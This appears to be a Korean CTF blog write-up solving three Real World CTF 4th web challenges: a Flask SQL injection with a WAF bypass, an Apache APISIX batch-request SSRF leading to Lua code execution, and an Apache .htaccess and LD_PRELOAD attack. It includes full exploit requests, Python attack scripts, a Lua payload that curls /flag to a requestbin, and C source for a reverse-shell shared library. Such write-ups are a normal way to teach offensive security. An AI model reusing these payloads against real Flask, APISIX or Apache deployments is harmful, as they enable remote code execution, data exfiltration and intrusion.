Profile

i love cat

as3617

Real World CTF 4th - web writeup

대회가 끝나고 나서 바로 놀러가서 이제야 라업을 올린다.

Hack into skynet

#!/usr/bin/env python3

import flask
import psycopg2
import datetime
import hashlib
from skynet import Skynet

app = flask.Flask(__name__, static_url_path='')
skynet = Skynet()

def skynet_detect():
    req = {
        'method': flask.request.method,
        'path': flask.request.full_path,
        'host': flask.request.headers.get('host'),
        'content_type': flask.request.headers.get('content-type'),
        'useragent': flask.request.headers.get('user-agent'),
        'referer': flask.request.headers.get('referer'),
        'cookie': flask.request.headers.get('cookie'),
        'body': str(flask.request.get_data()),
    }
    _, result = skynet.classify(req)
    return result and result['attack']

@app.route('/static/<path:path>')
def static_files(path):
    return flask.send_from_directory('static', path)

@app.route('/', methods=['GET', 'POST'])
def do_query():
    if skynet_detect():
        return flask.abort(403)

    if not query_login_state():
        response = flask.make_response('No login, redirecting', 302)
        response.location = flask.escape('/login')
        return response

    if flask.request.method == 'GET':
        return flask.send_from_directory('', 'index.html')
    elif flask.request.method == 'POST':
        kt = query_kill_time()
        if kt:
            result = kt 
        else:
            result = ''
        return flask.render_template('index.html', result=result)
    else:
        return flask.abort(400)

@app.route('/login', methods=['GET', 'POST'])
def do_login():
    if skynet_detect():
        return flask.abort(403)

    if flask.request.method == 'GET':
        return flask.send_from_directory('static', 'login.html')
    elif flask.request.method == 'POST':
        if not query_login_attempt():
            return flask.send_from_directory('static', 'login.html')
        else:
            session = create_session()
            response = flask.make_response('Login success', 302)
            response.set_cookie('SessionId', session)
            response.location = flask.escape('/')
            return response
    else:
        return flask.abort(400)

def query_login_state():
    sid = flask.request.cookies.get('SessionId', '')
    if not sid:
        return False

    now = datetime.datetime.now()
    with psycopg2.connect(
            host="challenge-db",
            database="ctf",
            user="ctf",
            password="ctf") as conn:
        cursor = conn.cursor()
        cursor.execute("SELECT sessionid"
           "  FROM login_session"
           "  WHERE sessionid = %s"
           "    AND valid_since <= %s"
           "    AND valid_until >= %s"
           "", (sid, now, now))
        data = [r for r in cursor.fetchall()]
        return bool(data)

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)
    name = user[0][1] if user and user[0] and user[0][1] else ''
    return name == username

def create_session():
    valid_since = datetime.datetime.now()
    valid_until = datetime.datetime.now() + datetime.timedelta(days=1)
    sessionid = hashlib.md5((str(valid_since)+str(valid_until)+str(datetime.datetime.now())).encode()).hexdigest()

    sql_exec_update(("INSERT INTO login_session (sessionid, valid_since, valid_until)"
           "  VALUES ('{}', '{}', '{}')").format(sessionid, valid_since, valid_until))
    return sessionid

def query_kill_time():
    name = flask.request.form.get('name', '')
    if not name:
        return None

    sql = ("SELECT name, born"
           "  FROM target"
           "  WHERE age > 0"
           "    AND name = '{}'").format(name)
    nb = sql_exec(sql)
    if not nb:
        return None
    return '{}: {}'.format(*nb[0])

def sql_exec(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="challenge-db",
                database="ctf",
                user="ctf",
                password="ctf") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            for row in cursor.fetchall():
                data.append([col for col in row])
            cursor.close()
    except Exception as e:
        print(e)
    return data

def sql_exec_update(stmt):
    data = list()
    try:
        with psycopg2.connect(
                host="challenge-db",
                database="ctf",
                user="ctf",
                password="ctf") as conn:
            cursor = conn.cursor()
            cursor.execute(stmt)
            conn.commit()
    except Exception as e:
        print(e)
    return data

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

코드를 주는데 query_kill_time()함수에서 sqli가 터진다. 해당 기능을 쓰려면 우선 로그인을 해야하는데

def query_login_attempt():
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if not username and not password:
        return False

    sql = ("SELECT id, account"
           "  FROM target_credentials"
           "  WHERE password = '{}'").format(hashlib.md5(password.encode()).hexdigest())
    user = sql_exec(sql)
    name = user[0][1] if user and user[0] and user[0][1] else ''
    return name == username

로그인 로직이 좀 이상하다.
sql query 조회 결과가 안나오면 name에는 ''가 들어가게 되므로 아래와 같이 전달해준다면 로그인할 수 있다.

 username=&password=1

이후 sqli는 waf를 우회해야하는데 content-type을 multipart/form-data로 전달하면 waf를 우회할 수 있기 때문에 union 써서 플래그 뽑아주면 된다.

FLAG : rwctf{t0-h4ck-$kynet-0r-f1ask_that-Is-th3-questi0n}

api6

apache apisix 최신버전을 주고 플래그를 얻으라고 한다.
계속 코드를 읽어보고 있는데 apisix에 임의의 path로 request를 보내는 기능이 있었다.

POST /apisix/batch-requests HTTP/1.1
Host: 127.0.0.1:51929
User-Agent: curl/7.64.1
Accept: */*
Content-Type: application/json
Content-Length: 210
Connection: close

{
    "timeout": 500,
    "pipeline": [
        {
            "method": "GET",
            "path": "/apisix/admin/services?api_key=edd1c9f034335f136f87ad84b625c8f1",
            "body": "test"
        }
    ]
}

그래서 이렇게 보내면 /apisix/admin/services로 요청을 보낼 수 있는데 nginx.conf로 인해 외부에서 접근하는게 막혀있었다.

proxy_set_header   X-Real-IP         $remote_addr;

nginx.conf에 위의 라인이 있었는데
혹시나 하는 마음에 header에 X-Real-IP를 추가해서 보내주니 서버가 정상적으로 요청을 받아주는 것을 확인할 수 있었다.
https://github.com/apache/apisix/blob/baf843403461883c1334e63d15a6bb3622c31940/t/node/filter_func.t#L38
이제 localhost에서 접근할 수 있기 때문에 filter_func 파라미터로 lua script를 넘겨줄 수 있고 서버는 우리의 script를 실행해줄 것이다.
아래와 같이 요청을 보내면 flag를 얻을 수 있다.

POST /apisix/batch-requests HTTP/1.1
Host: 127.0.0.1:51929
User-Agent: curl/7.64.1
Accept: */*
Content-Type: application/json
Content-Length: 666
Connection: close

{
    "timeout": 1500,
"headers":{
"X-Real-IP":"127.0.0.1",
        "Content-Type": "application/json"
},
    "pipeline": [
        {
            "method": "PUT",
            "path": "/apisix/admin/routes/2?api_key=edd1c9f034335f136f87ad84b625c8f1",
"body":"{\r\n  \"methods\": [\"GET\"],\r\n  \"host\": \"example.com\",\r\n  \"uri\": \"\/anything\/*\",\r\n  \"upstream\": {\r\n    \"type\": \"roundrobin\",\r\n    \"nodes\": {\r\n      \"httpbin.org:80\": 1\r\n    }\r\n  }\r\n,\r\n\"filter_func\": \"function(vars) os.execute(\\\"\/usr\/bin\/curl -d @\/flag requestbin \\\")  end\"}"
        }
    ]
}
FLAG : rwctf{1998e51bd0dd6ba945d0676d45d32852}

rwdn

const express = require('express');
const fileUpload = require('express-fileupload');
const md5 = require('md5');
const { v4: uuidv4 } = require('uuid');
const check = require('./check');
const app = express();

const PORT = 8000;

app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');

app.use(fileUpload({
  useTempFiles : true,
  tempFileDir : '/tmp/',
  createParentPath : true
}));

app.use('/upload',check());

app.get('/source', function(req, res) {
  if (req.query.checkin){
    res.sendfile('/src/check.js');
  }
  res.sendfile('/src/server.js');
});

app.get('/', function(req, res) {
  var formid = "form-" + uuidv4();
  res.render('index', {formid : formid} );
});

app.post('/upload', function(req, res) {
  let sampleFile;
  let uploadPath;
  let userdir;
  let userfile;
  sampleFile = req.files[req.query.formid];
  userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
  userfile = sampleFile.name.toString();
  if(userfile.includes('/')||userfile.includes('..')){
      return res.status(500).send("Invalid file name");
  }
  uploadPath = '/uploads/' + userdir + '/' + userfile;
  sampleFile.mv(uploadPath, function(err) {
    if (err) {
      return res.status(500).send(err);
    }
    res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile);
  });
});

app.listen(PORT, function() {
  console.log('Express server listening on port ', PORT);
});

코드를 준다. cdn 서버에 파일을 업로드할 수 있는데 올릴 수 있는 확장자가 정해져있다. 일단 확장자를 우회하기 위해 여러 시도를 해보았는데 아래와 같이 보냈을 때 임의의 확장자를 가진 파일을 업로드할 수 있었다.

POST /upload?formid=a HTTP/1.1
Host: 47.243.75.225:31337
Content-Length: 786
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.243.75.225:31337
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycqKfhIsQogqdgFmo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://47.243.75.225:31337/
Accept-Encoding: gzip, deflate
Accept-Language: ko,ko-KR;q=0.9,en;q=0.8,zh-CN;q=0.7,zh;q=0.6
Connection: close

------WebKitFormBoundarycqKfhIsQogqdgFmo
Content-Disposition: form-data; name="a"; filename=".htaccess"
Content-Type: text/plain

file_data
------WebKitFormBoundarycqKfhIsQogqdgFmo
Content-Disposition: form-data; name="asdf"; filename="zzz.txt"
Content-Type: text/plain

Hello, world.
------WebKitFormBoundarycqKfhIsQogqdgFmo--

근데 php파일을 올려도 php코드가 실행되지 않았기 때문에 php를 이용한 challenge는 아니라 생각했고 apache에서 사용가능한 모듈들을 위주로 살펴보았다.

mod_access_compat.c
mod_alias.c
mod_auth_basic.c
mod_authn_core.c
mod_authn_file.c
mod_authz_core.c
mod_authz_host.c
mod_authz_user.c
mod_autoindex.c
mod_deflate.c
mod_dir.c
mod_env.c
mod_ext_filter.c
mod_filter.c
mod_log_config.c
mod_logio.c
mod_mime.c
mod_negotiation.c
mod_reqtimeout.c
mod_setenvif.c
mod_so.c
mod_status.c
mod_unixd.c
mod_version.c
mod_watchdog.c

cgi와 관련된 모듈이 없었기 때문에 reference를 찾아보던 중 흥미로운 모듈들을 찾을 수 있었다.
mod_env.cmod_ext_filter.c였다. mod_env는 apache 자체 환경변수를 설정할 수 있고 mod_ext_filter는 외부 프로그램을 이용하여 출력에 필터를 적용할 수 있었다.
mod_ext_filter.c 내부에서 child process를 생성할 때 apache의 env를 넘겨주기 때문에 LD_PRELOAD를 임의의 모듈로 set하고 mod_ext_filter를 돌리면 특정 함수를 overwrite하여 rce가 가능할 것이다.

우선 apache.conf에서 mod_ext_filter를 쓰고 있는 것이 맞는지 확인하기 위해서 .htaccess를 이용하여 내부 파일을 leak해보았다.

#!/usr/bin/env python3
import requests
# r = requests.post('http://localhost:31337/upload?formid=a',files={'a':('.htaccess','file_data'),'asdf':('zzz.txt','LMAO')})
data = """
redirect permanent "/%{BASE64:%{FILE:/etc/apache2/apache.conf}}"
"""
fname = ".htaccess"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
url = r.text
url = url[url.index('http'):-5]
print(1337)
requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})

fname = "lmao.cgi"
r = requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
r = requests.get(url+fname,allow_redirects=False)
print(r.text,url+fname,r.headers)

그리고 아래의 내용을 확인할 수 있었다.

ExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip

우리의 생각이 맞는 것 같기 때문에 그대로 exploit해주면 된다.

#!/usr/bin/env python3

import requests
data = open("./hack.so",'rb').read()
fname = "hack.so"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
print(r.text)
url = r.text
url = url[url.index('http'):-5]
path = url[27:]
try:
    requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
except:
    pass
r = requests.get(url+fname)
print(url+fname)
print(path)

data = f"""<Files ~ "^.ht">
 Require all granted
 Order allow,deny
 Allow from all
 SetOutputFilter gzip
SetEnv LD_PRELOAD /var/www/html/uploads/{path}/hack.so
</Files>"""
fname = ".htaccess"
r = requests.post('http://47.243.75.225:31337/upload?formid=form-e2ca251d-8988-4d94-bdb0-e0477ff23a13',files={'form-e2ca251d-8988-4d94-bdb0-e0477ff23a13':('l.txt',data)})
print(r.text)
url = r.text
url = url[url.index('http'):-5]
try:
    requests.post('http://47.243.75.225:31337/upload?formid=a',files={'a':(fname,data),'FFFF':('zzz.txt','dummy')})
except:
    pass
r = requests.get(url+fname)
print(r.text,url+fname)
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>

void payload() {
    struct sockaddr_in serveraddr;
        int server_sockfd;
        int client_len;
        char buf[80],rbuf[80], *cmdBuf[2]={"/bin/sh",(char *)0};

        server_sockfd = socket(AF_INET, SOCK_STREAM, 6);
        serveraddr.sin_family = AF_INET;
        serveraddr.sin_addr.s_addr = inet_addr("ip here"); 
        serveraddr.sin_port = htons(atoi("port here"));
        client_len = sizeof(serveraddr);

        connect(server_sockfd, (struct sockaddr*)&serveraddr, client_len);

        dup2(server_sockfd, 0);
        dup2(server_sockfd, 1);
        dup2(server_sockfd, 2);

        execve("/bin/sh",cmdBuf,0);
}   

void _init() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

위의 c파일을 공유 라이브러리 파일로 컴파일 한 다음 exploit code를 실행하면 리버스쉘을 얻을 수 있다.

FLAG : rwctf{cd81450983c06bcb4438dfb8de45ec04}

'ctf writeup' 카테고리의 다른 글

LINE CTF 2022 web writeup  (0) 2022.03.27
Codegate 2022 Preliminary writeup  (0) 2022.02.27
m0leconCTF 2021 final web writeup  (0) 2021.12.04
HK CERT CTF 2021 writeup - WEB  (0) 2021.11.14
CyberGuardians CTF all writeup  (0) 2021.11.10